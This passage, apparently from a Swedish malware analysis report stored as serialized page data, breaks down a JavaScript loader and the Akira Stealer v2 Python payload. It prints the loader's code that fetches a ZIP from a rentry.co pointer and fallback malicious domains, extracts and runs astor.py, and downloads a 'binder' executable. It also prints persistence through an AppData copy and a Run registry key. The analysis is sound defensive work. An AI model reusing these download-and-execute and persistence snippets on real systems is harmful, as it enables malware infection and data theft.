filer:",[604,3346,3347,3352],{},[607,3348,3349,3351],{},[551,3350,2874],{},": Arkivet som innehåller själva second-stage-stealern i Python",[607,3353,3354,3357],{},[551,3355,3356],{},"bnd.exe",": En valfri körbar fil som kan fungera som persistence-backdoor eller ytterligare payload",[588,3359,3361],{"className":2987,"code":3360,"language":2989,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[551,3362,3363,3386],{"__ignoreMap":594},[1684,3364,3365,3367,3370,3372,3375,3378,3381,3384],{"class":1686,"line":1687},[1684,3366,2997],{"class":2996},[1684,3368,3369],{"class":2779}," tempFile",[1684,3371,3003],{"class":2996},[1684,3373,3374],{"class":3006}," path.",[1684,3376,3377],{"class":2771},"join",[1684,3379,3380],{"class":3006},"(tempDir, ",[1684,3382,3383],{"class":2775},"\"pyth.zip\"",[1684,3385,3063],{"class":3006},[1684,3387,3388,3390,3393,3395,3397,3399,3401,3404],{"class":1686,"line":2063},[1684,3389,2997],{"class":2996},[1684,3391,3392],{"class":2779}," binderFile",[1684,3394,3003],{"class":2996},[1684,3396,3374],{"class":3006},[1684,3398,3377],{"class":2771},[1684,3400,3380],{"class":3006},[1684,3402,3403],{"class":2775},"\"bnd.exe\"",[1684,3405,3063],{"class":3006},[533,3407,3408],{},"Denna uppsättning av sökvägar abstraherar bort OS-specifik sökvägssyntax och gör att skadeprogrammet kan köra utan problem på vilket Windows-system som helst. Den lägger också grunden för de mekanismer för nedladdning och uppackning av filer som följer.",[862,3410,3412],{"id":3411},"_622-nedladdning-av-payload-med-fallback-strategi","6.2.2 Nedladdning av payload med fallback-strategi",[533,3414,868],{},[533,3416,3417],{},"Den andra stora fasen i den dekrypterade JavaScript-payloaden handlar om att ladda ner ett skadligt ZIP-arkiv från fjärrkällor. Denna mekanism är utformad med en flernivåstrategi för fallback som ökar motståndskraften och tillgängligheten.",[604,3419,3420,3452,3537,3571],{},[607,3421,3422,3425,3426,3446,3448,3449,3451],{},[540,3423,3424],{},"Primary Link Resolution via Rentry.co","\nSkriptet börjar med att slå upp en dynamisk URL från en text paste-tjänst. Det skickar en GET-förfrågan till:",[588,3427,3429],{"className":2987,"code":3428,"language":2989,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[551,3430,3431],{"__ignoreMap":594},[1684,3432,3433,3435,3438,3440,3443],{"class":1686,"line":1687},[1684,3434,2997],{"class":2996},[1684,3436,3437],{"class":2779}," url",[1684,3439,3003],{"class":2996},[1684,3441,3442],{"class":2775}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1684,3444,3445],{"class":3006},";\n",[698,3447],{},"Detta returnerar en URL-sträng i klartext som pekar på den faktiska platsen för ",[551,3450,2874],{},"-arkivet. Att använda en omdirigeringsmekanism som denna är en vanlig obfuskeringsteknik. Den abstraherar bort den verkliga skadliga URL:en och gör statisk upptäckt svårare.",[607,3453,3454,3457,3458,3490,3492,3493,3495,3496,3530,3532,3533,3536],{},[540,3455,3456],{},"Download Execution","\nDen upplösta URL:en efterfrågas sedan med Axios-biblioteket och en response stream:",[588,3459,3461],{"className":2987,"code":3460,"language":2989,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[551,3462,3463],{"__ignoreMap":594},[1684,3464,3465,3467,3470,3472,3475,3478,3481,3484,3487],{"class":1686,"line":1687},[1684,3466,2997],{"class":2996},[1684,3468,3469],{"class":2779}," fileResponse",[1684,3471,3003],{"class":2996},[1684,3473,3474],{"class":2996}," await",[1684,3476,3477],{"class":3006}," axios.",[1684,3479,3480],{"class":2771},"get",[1684,3482,3483],{"class":3006},"(fileUrl, { responseType: ",[1684,3485,3486],{"class":2775},"\"stream\"",[1684,3488,3489],{"class":3006}," });\n",[698,3491],{},"Filen skrivs till disk som ",[551,3494,2874],{}," i systemets temp-katalog:",[588,3497,3499],{"className":2987,"code":3498,"language":2989,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[551,3500,3501,3519],{"__ignoreMap":594},[1684,3502,3503,3505,3508,3510,3513,3516],{"class":1686,"line":1687},[1684,3504,2997],{"class":2996},[1684,3506,3507],{"class":2779}," writer",[1684,3509,3003],{"class":2996},[1684,3511,3512],{"class":3006}," fs.",[1684,3514,3515],{"class":2771},"createWriteStream",[1684,3517,3518],{"class":3006},"(tempFile);\n",[1684,3520,3521,3524,3527],{"class":1686,"line":2063},[1684,3522,3523],{"class":3006},"fileResponse.data.",[1684,3525,3526],{"class":2771},"pipe",[1684,3528,3529],{"class":3006},"(writer);\n",[698,3531],{},"Denna nedladdning omsluts av en ",[551,3534,3535],{},"Promise"," för att säkerställa synkron slutförande innan vidare logik körs.",[607,3538,3539,3542,3543,3568,3570],{},[540,3540,3541],{},"Fallback URLs","\nOm den Rentry-baserade länken misslyckas försöker skriptet med hårdkodade reservplatser:",[588,3544,3546],{"className":2987,"code":3545,"language":2989,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[551,3547,3548,3559],{"__ignoreMap":594},[1684,3549,3550,3553,3555],{"class":1686,"line":1687},[1684,3551,3552],{"class":2771},"https",[1684,3554,1174],{"class":3006},[1684,3556,3558],{"class":3557},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1684,3560,3561,3563,3565],{"class":1686,"line":2063},[1684,3562,3552],{"class":2771},[1684,3564,1174],{"class":3006},[1684,3566,3567],{"class":3557},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[698,3569],{},"Dessa domäner är strukturerade för att se ut som delar av vanliga TLS-valideringsmappar, möjligen för att härma Let's Encrypt eller domänvalideringssökvägar och därmed väcka mindre misstanke. Varje fallback görs om med samma streaming- och filskrivningslogik.",[607,3572,3573,3576,3577,3580],{},[540,3574,3575],{},"Robustness and Obfuscation","\nDenna fallback-mekanism säkerställer att skadeprogrammet har flera hämtningsvägar för sin second-stage-payload. Användningen av en dynamisk pekare (",[551,3578,3579],{},"rentry.co",") och flera failover-speglar gör skadeprogrammet mer motståndskraftigt mot takedowns, blockering och DNS-sinkholes.",[533,3582,3583],{},"Denna fas visar noggrann operativ planering från skadeprogrammets upphovsmän, med lagerdelad redundans och väl kamouflerad leveransinfrastruktur.",[604,3585,3586,3592],{},[607,3587,3588,3589,3591],{},"Laddar ner ",[551,3590,2874],{}," från den upplösta URL:en",[607,3593,3594,3595],{},"Om det misslyckas försöker det med reservspeglar:\n",[604,3596,3597,3602],{},[607,3598,3599],{},[551,3600,3601],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3603,3604],{},[551,3605,3606],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[862,3608,3610],{"id":3609},"_623-extraktion-och-manipulation-av-payload","6.2.3 Extraktion och manipulation av payload",[533,3612,868],{},[533,3614,1536,3615,3617,3618,3620],{},[551,3616,2874],{},"-arkivet väl har laddats ner och sparats till disk fortsätter skadeprogrammet med att extrahera dess innehåll och förbereda det för exekvering. Detta sker med Node.js-biblioteket ",[551,3619,2846],{},", som möjliggör programmatisk hantering av ZIP-filer.",[604,3622,3623,3671,3698],{},[607,3624,3625,3628,3665,3667,3668,3670],{},[540,3626,3627],{},"ZIP Extraction:",[588,3629,3631],{"className":2987,"code":3630,"language":2989,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[551,3632,3633,3650],{"__ignoreMap":594},[1684,3634,3635,3637,3640,3642,3645,3648],{"class":1686,"line":1687},[1684,3636,2997],{"class":2996},[1684,3638,3639],{"class":2779}," zip",[1684,3641,3003],{"class":2996},[1684,3643,3644],{"class":2996}," new",[1684,3646,3647],{"class":2771}," AdmZip",[1684,3649,3518],{"class":3006},[1684,3651,3652,3655,3658,3660,3663],{"class":1686,"line":2063},[1684,3653,3654],{"class":3006},"zip.",[1684,3656,3657],{"class":2771},"extractAllTo",[1684,3659,3380],{"class":3006},[1684,3661,3662],{"class":2779},"true",[1684,3664,3063],{"class":3006},[698,3666],{},"Detta extraherar allt innehåll i arkivet till systemets temporära katalog. Flaggan ",[551,3669,3662],{}," säkerställer att befintliga filer skrivs över.",[607,3672,3673,3676,3677,3679,3680],{},[540,3674,3675],{},"Archive Contents:","\nArkivet ",[551,3678,2874],{}," innehåller ett fullständigt paketerat Python-projekt, inklusive:",[604,3681,3682,3685,3688],{},[607,3683,3684],{},"En katalogstruktur som liknar ett legitimt Python-paket",[607,3686,3687],{},"Flera Python-moduler och beroenden",[607,3689,3690,3691,3693,3694,3697],{},"Nyckelfilen ",[551,3692,582],{}," som ligger i ",[551,3695,3696],{},"Crypto/Util/astor.py",", vilket är den huvudsakliga stealer-payloaden",[607,3699,3700,3703,3704,3706,3707,3727],{},[540,3701,3702],{},"Placeholder Replacement:","\nSkadeprogrammet utför dynamisk substitution av fördefinierade platshållare i ",[551,3705,582],{}," för att injicera angriparkontrollerad konfigurationsdata såsom:",[604,3708,3709,3712,3715,3721],{},[607,3710,3711],{},"En Discord webhook-URL",[607,3713,3714],{},"Kryptovaluta-plånboksadresser (BTC, ETH, DOGE, LTC, XMR, med flera)",[607,3716,3717,3718,1113],{},"En användaridentifierare (",[551,3719,3720],{},"%USERID%",[607,3722,3723,3724,1113],{},"En felstatusflagga (",[551,3725,3726],{},"%ERRORSTATUS%",[588,3728,3730],{"className":2987,"code":3729,"language":2989,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[551,3731,3732,3793,3806,3829,3839,3844,3849,3854,3860],{"__ignoreMap":594},[1684,3733,3734,3737,3740,3743,3746,3749,3752,3755,3758,3761,3764,3767,3769,3772,3775,3779,3781,3784,3787,3790],{"class":1686,"line":1687},[1684,3735,3736],{"class":3006},"fs.",[1684,3738,3739],{"class":2771},"readFile",[1684,3741,3742],{"class":3006},"(extractedDir ",[1684,3744,3745],{"class":2996},"+",[1684,3747,3748],{"class":2775}," \"",[1684,3750,3751],{"class":2779},"\\C",[1684,3753,3754],{"class":2775},"rypto",[1684,3756,3757],{"class":2779},"\\U",[1684,3759,3760],{"class":2775},"til",[1684,3762,3763],{"class":2779},"\\a",[1684,3765,3766],{"class":2775},"stor.py\"",[1684,3768,620],{"class":3006},[1684,3770,3771],{"class":2775},"'utf8'",[1684,3773,3774],{"class":3006},", (",[1684,3776,3778],{"class":3777},"s4XuR","err",[1684,3780,620],{"class":3006},[1684,3782,3783],{"class":3777},"data",[1684,3785,3786],{"class":3006},") ",[1684,3788,3789],{"class":2996},"=>",[1684,3791,3792],{"class":3006}," {\n",[1684,3794,3795,3798,3801,3803],{"class":1686,"line":2063},[1684,3796,3797],{"class":2996},"  let",[1684,3799,3800],{"class":3006}," updatedFile ",[1684,3802,3164],{"class":2996},[1684,3804,3805],{"class":3006}," data\n",[1684,3807,3808,3811,3814,3816,3819,3822,3826],{"class":1686,"line":2069},[1684,3809,3810],{"class":3006},"    .",[1684,3812,3813],{"class":2771},"replace",[1684,3815,3198],{"class":3006},[1684,3817,3818],{"class":2775},"\"%DISCORD%\"",[1684,3820,3821],{"class":3006},", \u003C",[1684,3823,3825],{"class":3824},"s9eBZ","webhook",[1684,3827,3828],{"class":3006},">)\n",[1684,3830,3831,3834,3837],{"class":1686,"line":2075},[1684,3832,3833],{"class":3006},"    .replace(\"%ADDRESSBTC%\", \u003C",[1684,3835,3836],{"class":2779},"btc_address",[1684,3838,3828],{"class":3006},[1684,3840,3841],{"class":1686,"line":2396},[1684,3842,3843],{"class":3006},"    ...\n",[1684,3845,3846],{"class":1686,"line":2402},[1684,3847,3848],{"class":3006},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1684,3850,3851],{"class":1686,"line":3060},[1684,3852,3853],{"emptyLinePlaceholder":325},"\n",[1684,3855,3857],{"class":1686,"line":3856},8,[1684,3858,3859],{"class":3006},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1684,3861,3863],{"class":1686,"line":3862},9,[1684,3864,3865],{"class":3006},"});\n",[533,3867,3868],{},"Denna dynamiska manipulationsfas är avgörande. Genom att skjuta upp inmatningen av angriparkontrollerade värden till körningstillfället undviker payloaden statisk upptäckt och operatören kan anpassa mål och exfiltrerings-endpoints utan att packa om arkivet.",[604,3870,3871],{},[607,3872,3873,3874,3876,3877],{},"Ersätter platshållarsträngar i ",[551,3875,582],{},":\n",[604,3878,3879,3885,3895],{},[607,3880,3881,3882],{},"Discord webhook: ",[551,3883,3884],{},"%DISCORD%",[607,3886,3887,3888,620,3891,3894],{},"Plånboksadresser: ",[551,3889,3890],{},"%ADDRESSBTC%",[551,3892,3893],{},"%ADDRESSETH%",", osv.",[607,3896,3897],{},"Användar-ID och felflaggor",[862,3899,3901],{"id":3900},"_624-exekvering-av-skadlig-kod","6.2.4 Exekvering av skadlig kod",[533,3903,868],{},[604,3905,3906],{},[607,3907,3908,3909],{},"När platshållarinjektionen i astor.py är klar startar skadeprogrammet exekveringen av stealern via ett systemanrop",[588,3910,3912],{"className":2987,"code":3911,"language":2989,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[551,3913,3914],{"__ignoreMap":594},[1684,3915,3916,3919,3921,3924,3927,3930,3932,3935],{"class":1686,"line":1687},[1684,3917,3918],{"class":2771},"exec",[1684,3920,3198],{"class":3006},[1684,3922,3923],{"class":2775},"\"python.exe Crypto",[1684,3925,3926],{"class":2779},"\\\\",[1684,3928,3929],{"class":2775},"Util",[1684,3931,3926],{"class":2779},[1684,3933,3934],{"class":2775},"astor.py\"",[1684,3936,3063],{"class":3006},[533,3938,3939],{},"Detta kommando körs med Node.js child_process.exec-funktion och startar den inbäddade Python-payloaden i en separat process. Just detta exekveringsmönster, python.exe med argumentet Crypto\\Util\\astor.py, observerades i telemetridata som samlats in av Microsoft Defender for Endpoint, vilket gör det till en tillförlitlig detekteringsartefakt. I praktiken ser exekveringskedjan ut så här:",[533,3941,3942],{},"Den fullständiga exekveringskedjan för skadeprogrammet, som den observerats i telemetri från Microsoft Defender for Endpoint, följer denna sekvens:",[604,3944,3945,3953,3960,3966],{},[607,3946,3947,3949,3950],{},[551,3948,578],{}," (Electron-baserad container) anropar ",[551,3951,3952],{},"node.exe",[607,3954,3955,3957,3958],{},[551,3956,3952],{}," startar ",[551,3959,1102],{},[607,3961,3962,3957,3964],{},[551,3963,1102],{},[551,3965,553],{},[607,3967,3968,3970,3971],{},[551,3969,553],{}," exekverar filen ",[551,3972,1112],{},[862,3974,3976],{"id":3975},"_625-förstärkning-av-persistence","6.2.5 Förstärkning av persistence",[533,3978,868],{},[533,3980,3981,3982,3984],{},"För att säkerställa långvarig närvaro på det infekterade systemet innehåller den dekrypterade JavaScript-payloaden logik för att återupprätta persistence genom att kopiera den ursprungliga binären (",[551,3983,574],{},") till en dold plats i användarens profil.",[533,3986,3987],{},[540,3988,3989],{},"Target Directory",[533,3991,3992],{},"Filen kopieras till en katalog som härmar legitima Windows-komponenter:",[588,3994,3996],{"className":2987,"code":3995,"language":2989,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[551,3997,3998],{"__ignoreMap":594},[1684,3999,4000,4003,4006,4008],{"class":1686,"line":1687},[1684,4001,4002],{"class":2996},"%",[1684,4004,4005],{"class":2779},"APPDATA",[1684,4007,4002],{"class":2996},[1684,4009,4010],{"class":3006},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[533,4012,4013],{},"Denna plats är medvetet vald:",[604,4015,4016,4019],{},[607,4017,4018],{},"%APPDATA% är skrivbar för vanliga användare och kräver inga administrativa rättigheter.",[607,4020,4021],{},"Katalognamnet härmar legitima Microsoft-applikationsmappar, vilket gör det mindre misstänkt.",[533,4023,4024],{},[540,4025,4026],{},"Copy Mechanism:",[533,4028,4029],{},"Kopieringsoperationen använder Node.js fs.copyFileSync()-funktion:",[588,4031,4033],{"className":2987,"code":4032,"language":2989,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[551,4034,4035,4044,4054,4063,4072,4079,4086,4093,4100,4105],{"__ignoreMap":594},[1684,4036,4037,4039,4042],{"class":1686,"line":1687},[1684,4038,3736],{"class":3006},[1684,4040,4041],{"class":2771},"copyFileSync",[1684,4043,3013],{"class":3006},[1684,4045,4046,4049,4052],{"class":1686,"line":2063},[1684,4047,4048],{"class":3006},"  process.env.",[1684,4050,4051],{"class":2779},"PORTABLE_EXECUTABLE_FILE",[1684,4053,3043],{"class":3006},[1684,4055,4056,4059,4061],{"class":1686,"line":2069},[1684,4057,4058],{"class":3006},"  path.",[1684,4060,3377],{"class":2771},[1684,4062,3013],{"class":3006},[1684,4064,4065,4068,4070],{"class":1686,"line":2075},[1684,4066,4067],{"class":3006},"    process.env.",[1684,4069,4005],{"class":2779},[1684,4071,3043],{"class":3006},[1684,4073,4074,4077],{"class":1686,"line":2396},[1684,4075,4076],{"class":2775},"    \"Microsoft\"",[1684,4078,3043],{"class":3006},[1684,4080,4081,4084],{"class":1686,"line":2402},[1684,4082,4083],{"class":2775},"    \"Internet Explorer\"",[1684,4085,3043],{"class":3006},[1684,4087,4088,4091],{"class":1686,"line":3060},[1684,4089,4090],{"class":2775},"    \"UserData\"",[1684,4092,3043],{"class":3006},[1684,4094,4095,4098],{"class":1686,"line":3856},[1684,4096,4097],{"class":2775},"    \"Updater.exe\"",[1684,4099,3043],{"class":3006},[1684,4101,4102],{"class":1686,"line":3862},[1684,4103,4104],{"class":3006},"  ),\n",[1684,4106,4108],{"class":1686,"line":4107},10,[1684,4109,3063],{"class":3006},[604,4111,4112,4115],{},[607,4113,4114],{},"PORTABLE_EXECUTABLE_FILE är en miljövariabel som många packers (till exempel Electron) automatiskt sätter för att referera till sökvägen till den körande binären.",[607,4116,4117],{},"path.join(...) bygger en fullständigt kvalificerad destinationssökväg över olika operativsystem.",[533,4119,4120],{},"Denna logik körs endast om filen inte redan finns och fungerar därmed som en självreparationsmekanism som återställer droppern om den raderas.",[533,4122,4123,4126],{},[540,4124,4125],{},"Role in the Malware Chain","\nNärvaron av denna kopierade Updater.exe säkerställer att:",[604,4128,4129,4132],{},[607,4130,4131],{},"Loadern kan trigga sig själv på nytt över omstarter av systemet.",[607,4133,4134],{},"Hela infektionskedjan (som leder till main.exe, node.exe och till slut astor.py) kan starta om utan att förlita sig på traditionella registerbaserade persistence-mekanismer, som är mer sannolika att övervakas.",[862,4136,4138],{"id":4137},"_626-valfri-binder-exekvering","6.2.6 Valfri binder-exekvering",[533,4140,868],{},[533,4142,4143,4144,4146],{},"Utöver att ladda ner och exekvera den huvudsakliga stealer-payloaden (",[551,4145,582],{},") innehåller den dekrypterade JavaScript-koden även logik för att valfritt ladda ner och starta en sekundär körbar fil som kallas \"binder\". Denna komponent kan användas för persistence, distraktion eller utplacering av ytterligare skadeprogramsmoduler.",[533,4148,4149],{},[540,4150,4151],{},"Conditional Execution",[533,4153,4154],{},"Binder-logiken aktiveras endast om en specifik flagga är satt:",[588,4156,4158],{"className":2987,"code":4157,"language":2989,"meta":594,"style":594},"enableBinder = true;\n",[551,4159,4160],{"__ignoreMap":594},[1684,4161,4162,4165,4167,4170],{"class":1686,"line":1687},[1684,4163,4164],{"class":3006},"enableBinder ",[1684,4166,3164],{"class":2996},[1684,4168,4169],{"class":2779}," true",[1684,4171,3445],{"class":3006},[533,4173,4174,4175,4178],{},"I det analyserade samplet var detta värde satt till ",[551,4176,4177],{},"false"," som standard, men logiken finns kvar inbäddad i payloaden och kan trivialt aktiveras i en annan kampanj eller variant.",[533,4180,4181],{},[540,4182,4183],{},"Binder Download Logic",[533,4185,4186,4187,1174],{},"Om den aktiveras försöker skriptet hämta en extern binär från en URL som definieras av platshållaren ",[551,4188,4189],{},"%BINDERURL%",[588,4191,4193],{"className":2987,"code":4192,"language":2989,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[551,4194,4195,4209,4229,4244],{"__ignoreMap":594},[1684,4196,4197,4199,4202,4204,4207],{"class":1686,"line":1687},[1684,4198,2997],{"class":2996},[1684,4200,4201],{"class":2779}," fileUrl",[1684,4203,3003],{"class":2996},[1684,4205,4206],{"class":2775}," \"%BINDERURL%\"",[1684,4208,3445],{"class":3006},[1684,4210,4211,4213,4215,4217,4219,4221,4223,4225,4227],{"class":1686,"line":2063},[1684,4212,2997],{"class":2996},[1684,4214,3469],{"class":2779},[1684,4216,3003],{"class":2996},[1684,4218,3474],{"class":2996},[1684,4220,3477],{"class":3006},[1684,4222,3480],{"class":2771},[1684,4224,3483],{"class":3006},[1684,4226,3486],{"class":2775},[1684,4228,3489],{"class":3006},[1684,4230,4231,4233,4235,4237,4239,4241],{"class":1686,"line":2069},[1684,4232,2997],{"class":2996},[1684,4234,3507],{"class":2779},[1684,4236,3003],{"class":2996},[1684,4238,3512],{"class":3006},[1684,4240,3515],{"class":2771},[1684,4242,4243],{"class":3006},"(binderFile);\n",[1684,4245,4246,4248,4250],{"class":1686,"line":2075},[1684,4247,3523],{"class":3006},[1684,4249,3526],{"class":2771},[1684,4251,3529],{"class":3006},[604,4253,4254,4260],{},[607,4255,4256,4257,4259],{},"Filen ",[551,4258,3356],{}," sparas i systemets temporära katalog.",[607,4261,4262,4263,4265],{},"Precis som ",[551,4264,2874],{}," laddas binären ner med Axios på ett strömmat sätt för att undvika att hela binären laddas in i minnet.",[533,4267,4268],{},[540,4269,4270],{},"Execution Strategy",[533,4272,4273,4274,4276],{},"Efter lyckad nedladdning anropar skriptet den nedladdade binären via ",[551,4275,1102],{},", vilket säkerställer att den körs i en ny shell-kontext:",[588,4278,4280],{"className":2987,"code":4279,"language":2989,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[551,4281,4282],{"__ignoreMap":594},[1684,4283,4284,4286,4288,4291,4294,4297,4299,4302],{"class":1686,"line":1687},[1684,4285,3918],{"class":2771},[1684,4287,3198],{"class":3006},[1684,4289,4290],{"class":2775},"`start cmd /c start ${",[1684,4292,4293],{"class":3006},"binderFile",[1684,4295,4296],{"class":2775},"}`",[1684,4298,620],{"class":3006},[1684,4300,4301],{"class":2996},"...",[1684,4303,3063],{"class":3006},[533,4305,4306],{},"För att öka tillförlitligheten innehåller skriptet retry-logik:",[588,4308,4310],{"className":2987,"code":4309,"language":2989,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[551,4311,4312,4324,4335],{"__ignoreMap":594},[1684,4313,4314,4317,4320,4322],{"class":1686,"line":1687},[1684,4315,4316],{"class":2771},"setTimeout",[1684,4318,4319],{"class":3006},"(() ",[1684,4321,3789],{"class":2996},[1684,4323,3792],{"class":3006},[1684,4325,4326,4329,4331,4333],{"class":1686,"line":2063},[1684,4327,4328],{"class":2771},"  exec",[1684,4330,3198],{"class":3006},[1684,4332,4301],{"class":2996},[1684,4334,3063],{"class":3006},[1684,4336,4337,4340,4343],{"class":1686,"line":2069},[1684,4338,4339],{"class":3006},"}, ",[1684,4341,4342],{"class":2779},"5000",[1684,4344,3063],{"class":3006},[533,4346,4347],{},"Detta säkerställer att skadeprogrammet försöker starta binären på nytt efter en kort fördröjning, även om den första exekveringen misslyckas (till exempel på grund av systembelastning eller race conditions).",[533,4349,4350],{},[540,4351,4352],{},"Use Cases for the Binder",[533,4354,4355],{},"Även om det exakta syftet med binder-binären inte avslöjas i just detta sample (på grund av platshållar-URL:en) används sådana komponenter vanligen för att:",[604,4357,4358,4361,4364,4367],{},[607,4359,4360],{},"Installera om eller starta om de primära skadeprogramskomponenterna",[607,4362,4363],{},"Visa falska installationsprogram eller lockbetesapplikationer",[607,4365,4366],{},"Utplacera ytterligare spionprogram, backdoors eller ransomware",[607,4368,4369],{},"Ändra systeminställningar eller inaktivera säkerhetsfunktioner",[714,4371,4373],{"id":4372},"_63-sammanfattning","6.3 Sammanfattning",[533,4375,720],{},[533,4377,4378,4380],{},[551,4379,2813],{}," är en starkt obfuskerad, krypterad JavaScript-loader som använder branschstandardkryptografi (PBKDF2 + AES-256-CBC) för att skydda sitt verkliga syfte. Efter dekryptering fungerar den som en fullt kapabel second-stage-loader som:",[604,4382,4383,4388,4391,4396],{},[607,4384,4385,4386,1113],{},"Hämtar ytterligare skadeprogram (",[551,4387,2874],{},[607,4389,4390],{},"Modifierar payloadens beteende dynamiskt",[607,4392,4393,4394,1113],{},"Startar det faktiska stealer-skriptet (",[551,4395,582],{},[607,4397,4398,4399],{},"Förstärker persistence genom att återställa ",[551,4400,574],{},[533,4402,4403,4404,4407],{},"Kombinationen av kryptering, dynamisk exekvering, modulär payload-hämtning och fillös drift visar upp en ",[540,4405,4406],{},"högt avancerad JavaScript-baserad skadeprogramsarkitektur"," som utnyttjar Node.js-funktioner i ett Electron-skal.",[528,4409,4411,4412,1113],{"id":4410},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[551,4413,582],{},[533,4415,535],{},[714,4417,4419],{"id":4418},"_71-övergripande-funktionalitet","7.1. Övergripande funktionalitet",[533,4421,720],{},[533,4423,4424,4425,4427],{},"Akira Stealer v2 (",[551,4426,582],{},") är en multifunktionell, modulär infostealer-skadekod skriven i Python. Den är byggd för att exfiltrera ett brett spektrum av känsliga användardata från både Chromium- och Firefox-baserade webbläsare, crypto wallets, kommunikationsklienter (t.ex. Discord, Telegram) och systemfiler. Den innehåller sofistikerade anti-analysmekanismer, registerbaserad persistence, clipboard hijacking och tekniker för memory injection.",[714,4429,4431],{"id":4430},"_72-persistence-och-distribution","7.2 Persistence och distribution",[533,4433,720],{},[862,4435,4437],{"id":4436},"_721-kontext-för-exekveringskedjan","7.2.1 Kontext för exekveringskedjan",[533,4439,868],{},[533,4441,4442,4444],{},[551,4443,582],{}," körs inte fristående utan är den sista payloaden i en flerstegsattackkedja:",[588,4446,4450],{"className":4447,"code":4448,"language":4449,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[551,4451,4452,4457,4462,4467],{"__ignoreMap":594},[1684,4453,4454],{"class":1686,"line":1687},[1684,4455,4456],{},"Updater.exe\n",[1684,4458,4459],{"class":1686,"line":2063},[1684,4460,4461],{},"  └── main.exe (Electron app)\n",[1684,4463,4464],{"class":1686,"line":2069},[1684,4465,4466],{},"        └── cmd.exe\n",[1684,4468,4469],{"class":1686,"line":2075},[1684,4470,4471],{},"              └── python.exe astor.py\n",[533,4473,4474,4475,4477],{},"Den här strukturerade exekveringskedjan gör att varje steg kan undgå upptäckt genom att delegera den skadliga funktionaliteten till nästa. ",[551,4476,574],{}," inleder sekvensen och ansvarar för att upprätthålla persistence.",[862,4479,4481],{"id":4480},"_722-registerbaserad-persistence","7.2.2 Registerbaserad persistence",[533,4483,868],{},[533,4485,4486,4487,4489],{},"Akira etablerar persistence genom att skriva en registernyckel under den aktuella användarens Run-sökväg. Detta säkerställer att ",[551,4488,574],{}," körs vid varje systemstart:",[588,4491,4495],{"className":4492,"code":4493,"language":4494,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[551,4496,4497,4502],{"__ignoreMap":594},[1684,4498,4499],{"class":1686,"line":1687},[1684,4500,4501],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1684,4503,4504],{"class":1686,"line":2063},[1684,4505,4506],{},"os.system(command)\n",[604,4508,4509,4516,4524],{},[607,4510,4511,973,4514],{},[540,4512,4513],{},"Path",[551,4515,1656],{},[607,4517,4518,973,4521,4523],{},[540,4519,4520],{},"Value name",[551,4522,1664],{}," (vald för att verka harmlös)",[607,4525,4526,4529,4530],{},[540,4527,4528],{},"Payload path",": Vanligtvis i ",[551,4531,4532],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[533,4534,4535,4536,4539],{},"Detta kommando skriver autorun-posten tyst via PowerShell eller nativ ",[551,4537,4538],{},"os.system()","-exekvering.",[862,4541,4543],{"id":4542},"_723-döljande-av-fil","7.2.3 Döljande av fil",[533,4545,868],{},[533,4547,4548],{},"För att ytterligare dölja binären från användare och enkla AV-skanningar markeras filen med attributen hidden och system:",[588,4550,4552],{"className":4492,"code":4551,"language":4494,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", 